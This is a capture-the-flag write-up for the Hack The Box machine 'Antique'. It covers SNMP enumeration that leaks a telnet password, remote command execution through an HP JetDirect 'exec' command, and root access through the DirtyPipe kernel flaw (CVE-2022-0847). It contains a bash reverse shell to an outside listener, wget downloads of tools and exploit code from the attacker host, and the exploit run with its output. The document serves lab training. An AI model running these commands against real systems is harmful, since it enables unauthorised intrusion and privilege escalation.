Antique by k0rriban

htbexplorer report

Name	IP Address	Operating System	Points	Rating	User Owns	Root Owns	Retired	Release Date	Retired Date	Free Lab	ID
Antique	10.10.11.107	Linux	20	4.6	1821	1271	Yes	2021-09-27	2021-09-20	No	400

Summary

1. Scan ports -> 23/tcp, 161/udp
2. snmpwalk on 161/udp -> P@ssw0rd@123!!123q"2Rbs3CSs$4EuWGW(8i
3. Connect to 23/tcp with creds -> RCE with exec command
4. Reverse shell through 23/tcp -> User lp on target (User Shell)
5. Enumerate linux version -> Linux 5.13.0 vuln to DirtyPipe
6. Run CVE-2022-0847 -> User root on target (Root Shell)

Enumeration

OS

TTL	OS
+- 64	Linux
+- 128	Windows

As we can see in the code snippet below, the operating system is Linux.

```
❯ ping -c 1 10.10.11.107
PING 10.10.11.107 (10.10.11.107) 56(84) bytes of data.
64 bytes from 10.10.11.107: icmp_seq=1 ttl=63 time=40.5 ms
```

Nmap port scan

First, we will scan the host for open ports.

```
❯ sudo nmap -sS --min-rate=5000 -p- -n -Pn 10.10.11.107 -v -oG Enum/allPorts
```

With the utility extractPorts we list and copy the open ports:

```
❯ extractPorts Enum/allPorts

[*] Extracting information...

    [*] IP Address:  10.10.11.107

    [*] Open ports:  23


[*] Ports have been copied to clipboard...
```

Run a detailed scan on the open ports:

```
❯ nmap -p23 -A -n 10.10.11.107 -v -oN Enum/targeted
PORT   STATE SERVICE VERSION
23/tcp open  telnet?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest,
HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP,
NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq,
TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns,
tn3270:
|     JetDirect
|     Password:
|   NULL:
|_    JetDirect
```

As we don't have credentials for telnet nor any other open ports, we should perform an udp scan.

```
❯ sudo nmap -p- -sU --top-ports 100 --open -sV 10.10.11.107 -oG Enum/allPorts_udp -v
```

Once completed, we can obtain the open ports:

```
❯ extractPorts Enum/allPorts_udp

[*] Extracting information...

    [*] IP Address:  10.10.11.107

    [*] Open ports:
9,49,67,69,80,120,123,138,139,158,161,177,427,443,445,500,593,631,997,999,1023,1025,1026,1027,103
0,1434,1701,1812,1900,2223,3283,3456,4500,5060,30718,32768,32771,32815,49153,49154,49156,49181,49
182,49186,49193,49194

[*] Ports have been copied to clipboard...
```

We will ommit all thos ports who can pottentially be filtered:

```
❯ sudo nmap -p161 -sU -A 10.10.11.107 -oN Enum/targeted_udp -v
PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server (public)
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
```

Final nmap report

Port	Service	Version	Extra
23/tcp	telnet	-	-
161/udp	snmp	SNMPv1 server	public

SMMP (Port 161/udp)

Use snmpwalk to enumerate the system's snmp string:

```
❯ snmpwalk -v 2c -c public 10.10.11.107
SNMPv2-SMI::mib-2 = STRING: "HTB Printer"
```

The only thing we can enumerate is HTB Printer. If we read snmpwalk manual, we can see that the default OID is 2, as we are not getting any useful information, we will enumerate the OID 1, from the root of the tree.

```
❯ snmpwalk -v 2c -c public 10.10.11.107 1
SNMPv2-SMI::mib-2 = STRING: "HTB Printer"
SNMPv2-SMI::enterprises.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79
82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
SNMPv2-SMI::enterprises.11.2.3.9.1.2.1.0 = No more variables left in this MIB View (It is past
the end of the MIB tree)
```

We found an array of bits, whose bits looks like hexadecimal. To test this, we can use xxd:

```
❯ echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79
82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xargs | xxd -ps -r
P@ssw0rd@123!!123q"2Rbs3CSs$4EuWGW(8i   IYaA"1&1A5
```

This returns a password, which in fact was encoded in an hexadecimal string: P@ssw0rd@123!!123q"2Rbs3CSs$4EuWGW(8i.

TELNET (Port 23/tcp)

Now that we have credentials, we can try to login to the system's telnet port:

```
❯ telnet 10.10.11.107 23
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.

HP JetDirect


Password: P@ssw0rd@123!!123q"2Rbs3CSs$4EuWGW(8i

Please type "?" for HELP
> ?

To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>

Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)

addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)

exec: execute system commands (exec id)
exit: quit from telnet session
```

We can see the command exec, which allow us to achieve RCE through telnet:

```
# Telnet terminal
> exec bash -c "/bin/bash -i >& /dev/tcp/10.10.14.18/3333 0>&1"
# Listener terminal
❯ nc -nlvp 3333
Connection from 10.10.11.107:55840
bash: cannot set terminal process group (1004): Inappropriate ioctl for device
bash: no job control in this shell
lp@antique:~$ whoami
whoami
lp
lp@antique:~$ hostname -I
hostname -I
10.10.11.107 dead:beef::250:56ff:feb9:62bf
```

Privilege escaltion

List the users with a shell in the system:

```
lp@antique:~$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
```

We cam now enumerate the privesc vulnerabilities:

linpeas.sh

```
lp@antique:~$ wget 10.10.14.18:4444/linpeas.sh
lp@antique:~$ chmod +x linpeas.sh
lp@antique:~$ ./linpeas.sh
```

We only discover that the sudo version is `1.8.31`, which we know could be vulnerable to `pkexec`, but that's not the intended way to escalate. Also, as we can see in:

```
lp@antique:~$ groups
lp lpadmin
```

User `lp` is part of te `lpadmin` group, this can be useful in the future.

Pspy32s

Use `pspy` to peak on the processes cronned by root:

```
lp@antique:~$ wget 10.10.14.18:4444/pspy32s
lp@antique:~$ chmod +x pspy32s
lp@antique:~$ ./pspy32s -c -i 100 | grep UID=0
```

Some interesting output obtained with `pspy32s`:

```
2022/06/05 22:58:22 CMD: UID=0    PID=1007   | sudo -u lp authbind --deep python3
/var/spool/lpd/telnet.py
```

Seems like root is executing the `/var/spool/lpd/telnet.py` script periodically, and this file is owned by:

```
lp@antique:~$ ls -la telnet.py
-rwxr-xr-x 1 lp lp 1959 Sep 27  2021 telnet.py
```

It is owned by lp, so we can try to modify this script to obtain privileges, for example giving suid to /bin/bash:

```
lp@antique:~$ echo "os.system('chmod +s /bin/bash')" >> telnet.py
lp@antique:~$ tail telnet.py
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((HOST, PORT))
        s.listen()
        while True:
            conn, addr = s.accept()
            start_new_thread(threaded, (conn,))
        s.close()

os.system("chmod +s /bin/bash")
```

But, as this script is only ran when resseting the machine, we cannot exploit this vulnerability. If we look at the linux version:

```
lp@antique:~$ uname -a
Linux antique 5.13.0-051300-generic #202106272333 SMP Sun Jun 27 23:36:43 UTC 2021 x86_64 x86_64
x86_64 GNU/Linux
```

We can see a very old version, which is vulnerable to CVE-2022-0847:

```
lp@antique:~$ wget 10.10.14.18:4444/exploit-1.c
lp@antique:~$ gcc -o dirtyPipe exploit-1.c
lp@antique:~$ ./dirtyPipe
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
Password: Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell... (run commands now)
whoami
root
hostname -I
10.10.11.107 dead:beef::250:56ff:feb9:62bf
```

We rooted the system. Anyway, the [github repo] present another exploit:

```
lp@antique:~$ wget 10.10.14.18:4444/exploit-2.c
lp@antique:~$ gcc -o dirtyPipe exploit-2.c
lp@antique:~$ ./dirtyPipe /bin/bash
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
$ whoami
lp
$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1183448 Jun 18  2020 /bin/bash
```

But this attack vector did not succeed.

CVE

CVE-2022-0847

A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe and push_pipe functions in the Linux kernel and could thus contain stale values. An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate their privileges on the system.

Machine flags

Type	Flag	Blood	Date
User	2ee45db297cab42446914aab6b01c739	No	06-06-2022
Root	53f7087b4b740ebb96d38957583c47e0	No	06-06-2022

References

- https://book.hacktricks.xyz/network-services-pentesting/pentesting-telnet
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847
- https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits